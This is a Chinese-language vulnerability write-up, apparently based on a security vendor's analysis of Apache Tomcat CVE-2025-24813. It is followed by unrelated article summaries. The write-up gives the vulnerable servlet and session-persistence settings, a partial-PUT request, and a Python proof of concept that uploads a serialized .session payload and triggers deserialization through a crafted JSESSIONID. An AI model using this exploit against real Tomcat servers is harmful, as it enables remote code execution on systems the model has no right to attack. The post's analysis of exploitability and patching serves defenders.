Apache Tomcat CVE-2025-24813 安全漏洞

Apache Tomcat CVE-2025-24813被广泛利用,但是他必须要满足两个点:

 1.被广泛的使用,并且部署在服务器中。

 2.漏洞必须依赖在服务器中的配置。

并且漏洞补丁已经发布。

漏洞攻击方式:

  • CVE-2025-24813 是 Apache Tomcat 部分 PUT 功能中未经身份验证的远程代码执行漏洞,于 2025 年 3 月 10 日披露。已提供修复版本。
  • 在特定情况下,成功利用该漏洞攻击者可以通过不安全的反序列化在目标系统上远程执行代码。
  • 漏洞详细信息和概念验证(PoC)漏洞代码均已公开。
  • 根据我们和其他研究公司的分析,成功利用所需的条件似乎是具体的、非默认的和不常见的。
  • 据报告, CVE-2025-24813 已被野外利用;然而,Rapid7 无法确认在实际生产环境中是否发生过任何成功的利用。我们认为,在这种情况下,“利用”可能意味着未成功的利用尝试,而不是成功入侵生产系统。
  • 鉴于特定的易受攻击的配置要求(见Exploitability requirements下文),大规模利用的可能性不大。

漏洞可利用条件:

根据该建议,如果以下所有情况都成立,攻击者可以查看安全敏感文件和/或向这些文件中注入内容:

  • 为默认 servlet 启用写入(默认情况下禁用)
  • 支持部分 PUT(默认启用)
  • 安全敏感上传的目标 URL 是公开上传的目标 URL 的子目录
  • 攻击者知道正在上传的安全敏感文件的名称
  • 安全敏感文件也通过部分 PUT 上传

如果以下所有情况都成立,攻击者就可以实现远程代码执行:

  • 为默认 servlet 启用写入(默认情况下禁用)
  • 支持部分 PUT(默认启用)
  • 应用程序使用 Tomcat 基于文件的会话持久性(默认禁用)和默认存储位置
  • 应用程序包含一个可能被反序列化攻击利用的库(很多 Java 应用程序都存在这种情况)

受影响版本:

  • Apache Tomcat 11.0.0-M1 to 11.0.2
  • Apache Tomcat 10.1.0-M1 to 10.1.34
  • Apache Tomcat 10.1.0-M1 to 10.1.34

 漏洞重现:

提供静态资源的默认 servlet 必须处于非默认的“readonly=false”配置中。 我们将在 web.xml 文件中定义它。

<servlet><servlet-name>default</servlet-name><servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class><init-param><param-name>debug</param-name><param-value>0</param-value></init-param><init-param><param-name>listings</param-name><param-value>false</param-value></init-param><!-- vuln --><init-param><param-name>readonly</param-name><param-value>false</param-value></init-param><!-- vuln --><load-on-startup>1</load-on-startup></servlet>

这种配置可能相对不常见。为了获得真实证据,我们可以使用开源github来搜索具有此配置的存储库。根据结果,只有少数在 GitHub 上公开发布的开源 Tomcat 项目使用此配置(大约 200 个),并且大多数都有<30星标。而且还需要额外配置才能建立可利用环境。我们需要修改 Tomcat 安装的context.xml文件以启用基于文件的会话持久性,根据tomcat指出,这是实例易受攻击的必要条件。修改后的文件如下所示(标有“vuln”)。

<Context><!-- Default set of monitored resources. If one of these changes, the    --><!-- web application will be reloaded.                                   --><WatchedResource>WEB-INF/web.xml</WatchedResource><WatchedResource>WEB-INF/tomcat-web.xml</WatchedResource><WatchedResource>${catalina.base}/conf/web.xml</WatchedResource><!-- Uncomment this to enable session persistence across Tomcat restarts --><!--<Manager pathname="SESSIONS.ser" />--><!-- vuln --><Manager className="org.apache.catalina.session.PersistentManager" maxIdleBackup="1" saveOnRestart="true" processExpiresFrequency="1"><Store className="org.apache.catalina.session.FileStore"/></Manager><!-- vuln --></Context>

触发漏洞条件:

PUT /dummy HTTP/1.1
Host: 192.168.1.2:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:136.0) Gecko/20100101 Firefox/136.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
If-Modified-Since: Mon, 17 Mar 2025 17:08:23 GMT
If-None-Match: W/"1905-1742231303122"
Priority: u=0, i
Content-Range: bytes 1-1/15
Content-Length: 1

我们收到 204 响应(尽管此状态代码根据 Tomcat 配置和目标应用程序而有所不同)。

HTTP/1.1 204 
Date: Mon, 17 Mar 2025 17:21:51 GMT

然后我们去tomcat 目录下查证

# ls -la /var/lib/tomcat10/work/Catalina/localhost/ROOT
total 12
drwxr-x--- 2 tomcat tomcat 4096 Mar 17 17:21 .
drwxr-x--- 3 tomcat tomcat 4096 Mar 17 17:15 ..
-rw-r----- 1 tomcat tomcat   15 Mar 17 17:21 .dummy# cat /var/lib/tomcat10/work/Catalina/localhost/ROOT/.dummy

现在我们可以将 .session 文件(一个序列化的 Java 对象)写入根目录。我们可以通过精心设计的 JSESSIONID 标头提示 Tomcat 使用序列化对象。

分享了一个概念验证漏洞。我们的该脚本的测试副本如下。

import requestsTARGET_IP = "http://192.168.1.2:8080/"put_url = f"{TARGET_IP}/gopan.session"
put_headers = {"Content-Range": "bytes 0-5/100"}with open('/tmp/payload.bin', "rb") as f:put_response = requests.put(put_url, data=f, headers=put_headers)get_url = f"{TARGET_IP}/"
get_headers = {"Cookie": "JSESSIONID=.gopan"}
get_response = requests.get(get_url, headers=get_headers)
print(get_response.status_code ,get_response.text)

运行这个脚本:

$ python3 poc.py
500 <!doctype html><html lang="en"><head><title>HTTP Status 500 – Internal Server Error</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 500 – Internal Server Error</h1><hr class="line" /><p><b>Type</b> Exception Report</p><p><b>Message</b> class java.util.HashMap cannot be cast to class java.lang.Long (java.util.HashMap and java.lang.Long are in module java.base of loader &#39;bootstrap&#39;)</p><p><b>Description</b> The server encountered an unexpected condition that prevented it from fulfilling the request.</p><p><b>Exception</b></p><pre>java.lang.ClassCastException: class java.util.HashMap cannot be cast to class java.lang.Long (java.util.HashMap and java.lang.Long are in module java.base of loader &#39;bootstrap&#39;)
org.apache.catalina.session.StandardSession.doReadObject(StandardSession.java:1347)
org.apache.catalina.session.StandardSession.readObjectData(StandardSession.java:985)
[..SNIP..]

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/39659.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【C#】CS学习之Modbus通讯

摘要 本文详细描述了如何在在C#的Winform应用程序中使用NModbus库实现Modbus通讯&#xff0c;包括读取保持寄存器、以及相应的UI界面设计和事件处理。 前言 ​应用场景 Modbus 从站广泛应用于工业自动化领域&#xff1a; 1、传感器数据采集&#xff08;如温度、压力等&#xf…

Pycharm社区版创建Flask项目详解

一、创建工程项目 二、配置工程目录 新建的空项目下创建目录。 1、新建app.py文件 2、app.py代码如下&#xff1a; from flask import Flask, render_templateapp Flask(__name__)app.route("/") def root():"""主页:return: Index.html"&qu…

Linux 基础入门操作 第十二章 TINY Web 服务器

1 服务器基础架构 1.1 背景知识 Web 服务器使用 HTTP 协议与客户端&#xff08;即浏览器&#xff09;通信&#xff0c;而 HTTP 协议又基于 TCP/IP 协议。因此我们要做的工作就是利用 Linux 系统提供的 TCP 通信接口来实现 HTTP 协议。 而 Linux 为我们提供了哪些网络编程接口…

RAG优化:python从零实现[吃一堑长一智]循环反馈Feedback

本文将介绍一种有反馈循环机制的RAG系统,让当AI学会"吃一堑长一智",给传统RAG装了个"后悔"系统,让AI能记住哪些回答被用户点赞/拍砖,从此告别金鱼记忆: 每次回答都像在玩roguelike:失败结局会强化下次冒险悄悄把优质问答变成新知识卡牌,实现"以…

基于SpringBoot的名著阅读网站

作者&#xff1a;计算机学姐 开发技术&#xff1a;SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等&#xff0c;“文末源码”。 专栏推荐&#xff1a;前后端分离项目源码、SpringBoot项目源码、Vue项目源码、SSM项目源码、微信小程序源码 精品专栏&#xff1a;…

[AI建模] 使用Pinokio本地化部署混元2D到3D AI建模服务

近年来,AI驱动的2D转3D建模技术发展迅猛,而Pinokio作为一个强大的AI模型管理与部署平台,使得在本地部署这些复杂的AI模型变得更加简单高效。本文将介绍如何使用Pinokio在本地部署混元2D到3D AI建模服务,并快速生成带或不带Texture的3D模型。 1. 在Pinokio Discover页面找到…

Qt 导入TagLib库

文章目录 0. 前言和环境介绍1. 下载TagLib2. 下载zlib3. 修改.pro文件4. 测试代码 0. 前言和环境介绍 最近在使用Qt写一个播放器&#xff0c;需要解析mp3文件&#xff0c;于是研究了一下如何导入TagLib库 Qt构建套件:Desktop Qt6.8.2 MinGW64-bit Qt Creator安装目录: D:\bit…

【前端面试题】计算机网络相关

总结面试前端过程可能会问到的计算机网络相关知识点 1.HTTP和HTTPS的区别 &#xff08;1&#xff09;HTTPS HTTP 安全加密 HTTPS 是 HTTP 的 加密版&#xff0c;通过 SSL/TLS 保障数据安全&#xff0c;防止窃听和篡改。 &#xff08;2&#xff09;HTTPS 如何保护数据&…

【RabbitMQ高级特性】消息确认机制、持久化、发送方确认、TTL和死信队列

&#x1f525;个人主页&#xff1a; 中草药 &#x1f525;专栏&#xff1a;【中间件】企业级中间件剖析 一、消息确认机制 消费者确认机制确保消息被正确处理后才从队列中删除。如果消费者处理失败&#xff08;如业务异常或宕机&#xff09;&#xff0c;Broker 会重新投递消息…

调用百度api实现语音识别(python)

该代码实现了一个企业级的语音识别解决方案,通过调用百度语音识别API,实现实时录音识别和对已有音频语音识别功能。 百度智能云:请自行访问百度智能云,开通免费的语音识别功能,获取API_KEY和SECRET_KEY。操作按照百度流程即可,可免费申请。 首先,配置下百度API和描述下错…

Python实现小红书app版爬虫

简介&#xff1a;由于数据需求的日益增大&#xff0c;小红书网页版已经不能满足我们日常工作的需求&#xff0c;为此&#xff0c;小编特地开发了小红书手机版算法&#xff0c;方便大家获取更多的数据&#xff0c;提升工作效率。 手机版接口主要包括&#xff1a;搜素&#xff0…

【AndroidRTC-11】如何理解webrtc的Source、TrackSink

Android-RTC系列软重启&#xff0c;改变以往细读源代码的方式 改为 带上实际问题分析代码。增加实用性&#xff0c;方便形成肌肉记忆。同时不分种类、不分难易程度&#xff0c;在线征集问题切入点。 问题1&#xff1a;如何理解VideoSource、VideoTrack&VideoSink三者的关系…

Windows安装Rust环境(详细教程)

一、 安装mingw64(C语言环境) Rust默认使用的C语言依赖Visual Studio&#xff0c;但该工具占用空间大安装也较为麻烦&#xff0c;可以选用轻便的mingw64包。 1.1 安装地址 (1) 下载地址1-GitHub&#xff1a;Releases niXman/mingw-builds-binaries GitHub (2) 下载地址2-W…

英伟达黄仁勋谈人工智能趋势,首提代理式AI,后续机器人将登场

近日&#xff0c;英伟达 GTC 2025 大会主题演讲中&#xff0c;英伟达 CEO 黄仁勋再次身穿皮衣登场。黄仁勋一上来就提到了 AI 发展的未来&#xff0c;现在我们处于生成式 AI&#xff08;Generative AI&#xff09;阶段&#xff0c;但根据黄仁勋的路线图&#xff0c;我们将迈向一…

LCR 187. 破冰游戏(python3解法)

难度&#xff1a;简单 社团共有 num 位成员参与破冰游戏&#xff0c;编号为 0 ~ num-1。成员们按照编号顺序围绕圆桌而坐。社长抽取一个数字 target&#xff0c;从 0 号成员起开始计数&#xff0c;排在第 target 位的成员离开圆桌&#xff0c;且成员离开后从下一个成员开始计数…

水星(MERCURY)监控初始化的恢复和转码方法

水星(MERCURY)的安防监控恢复了很多&#xff0c;其嵌入式文件系统也一直迭代更新。做为数据恢复从业者每天处理最多的就是恢复数据&#xff0c;但是有的时候业务的需要我们不仅仅恢复出数据&#xff0c;还需要能够转码成通用的MP4类文件并要求画面和声音实现“同步”。 故障存…

基于SpringBoot的实现的客户关系管理系统(CRM)(源码+数据库)

464客户关系管理系统&#xff08;CRM&#xff09;&#xff0c;主要功能如下 【后台功能】 权限管理模块: 包括系统的登录与注册功能 用户管理模块: 基于RBAC的权限模型设计, 实现分配角色的功能功能 客户管理模块: 对客户信息进行新增 修改 删除 查看 联络信息管理模块: 对联络…

关于网络的一点知识(持续更新)

1、IP地址和子网掩码、端口号: IP地址是设备在网络上的地址,相当于一栋房子的门牌号。子网掩码相当于房子所在的街道。同一条街道的房子间是通过街道直通的,主人可以互相拜访。 举个例子,如下图所示。 说明:将两台设备的IP和子网掩码转化为二进制,然后将各自的IP地址和…

Python---数据分析(Pandas八:二维数组DataFrame数据操作一: 数据清洗,数据转换)

一、 数据清洗 1.1、 isnull() 用于检测 DataFrame 中的缺失值&#xff0c;它会返回一个相同形状的布尔型 DataFrame&#xff0c;其中每个元素表示原始 DataFrame 中相应位置的元素是否是缺失 值。 import pandas as pd import numpy as np# 创建一个包含缺失值的 DataFrame …

智能汽车图像及视频处理方案,支持视频星轨拍摄能力

美摄科技作为智能汽车图像及视频处理领域的先行者&#xff0c;正以革新性的技术引领着行业的未来发展。美摄科技智能汽车图像及视频处理方案&#xff0c;一个集高效性、智能化、画质增强于一体的创新解决方案&#xff0c;旨在重塑智能汽车图像画质的新标准&#xff0c;并支持前…